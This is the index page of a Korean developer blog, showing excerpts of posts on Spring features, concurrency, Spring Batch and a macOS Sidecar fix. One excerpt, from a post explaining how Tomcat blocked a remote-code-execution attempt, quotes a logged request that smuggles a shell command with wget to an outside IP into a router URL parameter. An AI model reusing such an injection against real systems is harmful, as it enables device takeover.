승팡의 개발일지

고정 헤더 영역

글 제목

메뉴 레이어

승팡의 개발일지

메뉴 리스트

  • 홈
  • 태그
  • 방명록
  • 분류 전체보기 (25)
    • 공부 (11)
      • Java (0)
      • MySQL (1)
      • Spring (6)
      • Spring Batch (1)
      • JPA (0)
      • DevOps (2)
      • IDE (1)
    • 프로젝트 (10)
      • 내편 (3)
      • performance-tracker (1)
      • click-me (6)
    • 우아한 테크코스 (1)
    • 회고 (1)
    • 기타 (1)

검색 레이어

승팡의 개발일지

검색 영역

컨텐츠 검색

전체 글

  • 맥북 아이패드 사이드카 연결 오류(-6745) 해결

    2025.09.16 by seungpang

  • Spring 7.0 부터 도입되는 Jspecify에 대해 알아보기!

    2025.01.02 by seungpang

  • Spring 6.2의 Duration 포맷 지원 (오픈소스 기여까지!)

    2024.12.16 by seungpang

  • 톰캣의 자동 검증을 통한 RCE 공격 차단 사례

    2024.06.09 by seungpang

  • Spring Assert클래스는 왜 Supplier를 활용하고 있을까?

    2024.06.05 by seungpang

  • Spring 프로젝트 컨트리뷰터 된 후기 (ThreadLocal.set(null) vs ThreadLocal.remove() )

    2024.05.24 by seungpang

  • 분산락을 이용한 메시지 좋아요 기능 동시성 문제 해결 방안

    2024.05.16 by seungpang

  • Spring Batch 파티셔닝 적용후 JVM이 종료되지 않는 문제 해결

    2024.05.03 by seungpang

맥북 아이패드 사이드카 연결 오류(-6745) 해결

맥북에서 아이패드로 사이드카를 연결하려고 하면 iPad에 연결할 수 없습니다. 기타 오류가 발생했습니다(-6745)가 발생하는 경우가 있다.일반적으로는 같은 Apple ID 사용 여부, 재로그인, 동일 와이파이 연결 등의 안내가 있지만, 그대로 따라도 해결되지 않는 상황이 있었다.문제를 확인해보니 macOS 업데이트 이후 방화벽 설정에서 SidecarRelay가 들어오는 연결 차단으로 변경된 것이 원인이었다. 아래 단계대로 허용으로 바꾸면 해결된다.해결 방법1) 맥북에서 시스템 설정 → 네트워크 → 방화벽을 연다.2) “옵션…”을 클릭한다.3) 목록에서 “SidecarRelay”의 상태를 “들어오는 연결 허용”으로 변경한다. 잠금되어 있다면 좌측 하단 자물쇠를 풀어 수정한다. 4) 설정을 닫고 다시 ..

기타 2025. 9. 16. 23:10

Spring 7.0 부터 도입되는 Jspecify에 대해 알아보기!

자바 생태계에서 NPE(NullPointException)은 자주 마주치는 문제이다. 많은 개발자들이 이를 미연에 방지하고자 Null-safety를 강화하는 도구나 애노테이션을 활용했지만 표준화된 방식이 존재하지 않았다그래서 stackoverflow에 이러한 글도 있다.어떤 '@NotNull' 애노테이션을 사용해야 하는지 묻는 글이다.JSR-305의 @Nonnull, Jetbrain에 @NotNull, lombok의 @NonNull등 다양하다.이처럼 Null-safety에 대한 다양한 애노테이션이 있지만 표준화가 되어 있지는 않다. 이러한 문제를 해결하기 위해 나온 것이 JSpecify이다.스프링 7.0 부터 적용되고 Spring 내부에서 사용되는 스프링자체 null-safety 애노테이션은 사용되지 않..

공부/Spring 2025. 1. 2. 16:47

Spring 6.2의 Duration 포맷 지원 (오픈소스 기여까지!)

스프링 6.2부터 Duration을 다양한 포맷 스타일을 지원하는 새로운 기능이 추가되었다.Kotlin에서는 이미 Duration.parse를 통해 다양한 표현식을 제공하고 있다.val duration1 = Duration.parse("1.5h")val duration2 = Duration.parse("1h 30m")이와 비슷하게 스프링에서도 DurationFormatUtils를 통해 Duration의 다양한 표현식을 지원하게 되었다.기존에는 밀리초 단위로만 입력했었는데 이제는 다양하게 표현할 수 있다.Duration의 다양한 표현식크게 3가지 형태로 나눌 수 있다.ISO8601기존 Duration.parse 로직과 동일하고 표준 ISO-8601 포맷(PT1H30M25)을 사용한다.예: PT1H(1시간)..

공부/Spring 2024. 12. 16. 15:00

톰캣의 자동 검증을 통한 RCE 공격 차단 사례

최근 토이 프로젝트에 Grafana와 Loki를 활용해 로깅 및 모니터링을 설정하던 중, 흥미로운 에러 메시지를 발견했다.이 에러는 단순히 유효하지 않은 문자 때문에 발생한 것처럼 보이지만, 자세히 살펴보면 원격 코드 실행(RCE) 공격 시도로 인해 발생한 것을 알 수 있다.이번 글에서는 이 에러의 원인과 톰캣이 이를 어떻게 방어하는지에 대해 살펴보자.프로젝트에서 발견한 에러java.lang.IllegalArgumentException: Invalid character found in the request target[/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.28.1..

공부/DevOps 2024. 6. 9. 20:06

Spring Assert클래스는 왜 Supplier를 활용하고 있을까?

Spring Framework Assert 클래스는 Java 애플리케이션에서 사용되는 유틸리티 클래스다.주로 메서드의 인수 유효성 검사와 같은 방어적 프로그래밍 기법을 지원한다.이 클래스는 다양한 정적 메서드를 제공하여 특정 조건이 만족되지 않을 경우 예외를 던지도록 한다.이러한 방법은 코드의 견고성을 높이고, 문제를 조기에 발견하여 디버깅을 용이하게 한다.public User(String username, VehicleIdentificationNumber vin) { Assert.hasLength(username, "Username must not be empty"); Assert.notNull(vin, "VIN must not be null"); this.username = usern..

공부/Spring 2024. 6. 5. 02:00

Spring 프로젝트 컨트리뷰터 된 후기 (ThreadLocal.set(null) vs ThreadLocal.remove() )

스프링 공식문서를 보다가 ThreadLocal에 주의사항에 대한 글을 봤다. ThreadLocal instances come with serious issues (potentially resulting in memory leaks) when incorrectly using them in multi-threaded and multi-classloader environments. You should always consider wrapping a ThreadLocal in some other class and never directly use the ThreadLocal itself (except in the wrapper class).Also, you should always remember to corr..

공부/Spring 2024. 5. 24. 23:32

분산락을 이용한 메시지 좋아요 기능 동시성 문제 해결 방안

이전 글에서 spring retry로 간단한 동시성을 해결했지만 완벽한 해결방법이 아니다.단일 서버가 아닌 다중 서버 환경에서는 동일한 데이터에 동시에 접근할 때 발생하는 동시성 문제는 낙관적 락과 spring retry로 해결하기에는 무리다.그래서 이번에는 분산락을 통한 동시성 해결을 확인해보자왜 분산락이 필요한가?낙관적 락 + 재시도(Spring retry)의 한계이전 글에서 낙관적 락과 Spring retry를 통해 DB 레벨에서 충돌 시 예외를 던지고 자동으로 재시도하는 방식을 시도했다.단일 서버에서는 일정 수준 동시성 충돌을 방어할 수 있지만 서버가 2대 이상으로 스케일 아웃되거나 트래픽이 폭주할 경우DB 예외가 계속 발생 -> 각 서버에서 재시도 반복 -> DB/애플리케이션 모두 과부하가 걸릴..

공부/Spring 2024. 5. 16. 19:15

Spring Batch 파티셔닝 적용후 JVM이 종료되지 않는 문제 해결

현재 쿠버네티스의 CronJob을 활용하여 스프링 배치 job들을 실행하고 있었다.spring: main: web-application-type: none batch: job: name: ${job.name:NONE}위에 설정을 보면spring.main.web-application-type: none: 설정을 사용하면 Spring Boot 애플리케이션이 웹 서버를 시작하지 않고, 커맨드라인 애플리케이션으로 동작한다.이렇게 설정할 경우 배치 작업이 완료된 이후에 애플리케이션이 자동으로 종료된다.하지만 스프링 배치에서 파티셔닝을 적용한 이후에 CronJob이 정상적으로 동작하지 않았다.원래는 CronJob이 돌고 해당 스프링 배치 job이 완료되었으면 Succeeded 상태가 되어야 ..

프로젝트/click-me 2024. 5. 3. 19:28

추가 정보

인기글

최신글

페이징

이전
1 2 3 4
다음
Github
승팡의 개발일지 © Magazine Lab
페이스북 트위터 인스타그램 유투브 메일

티스토리툴바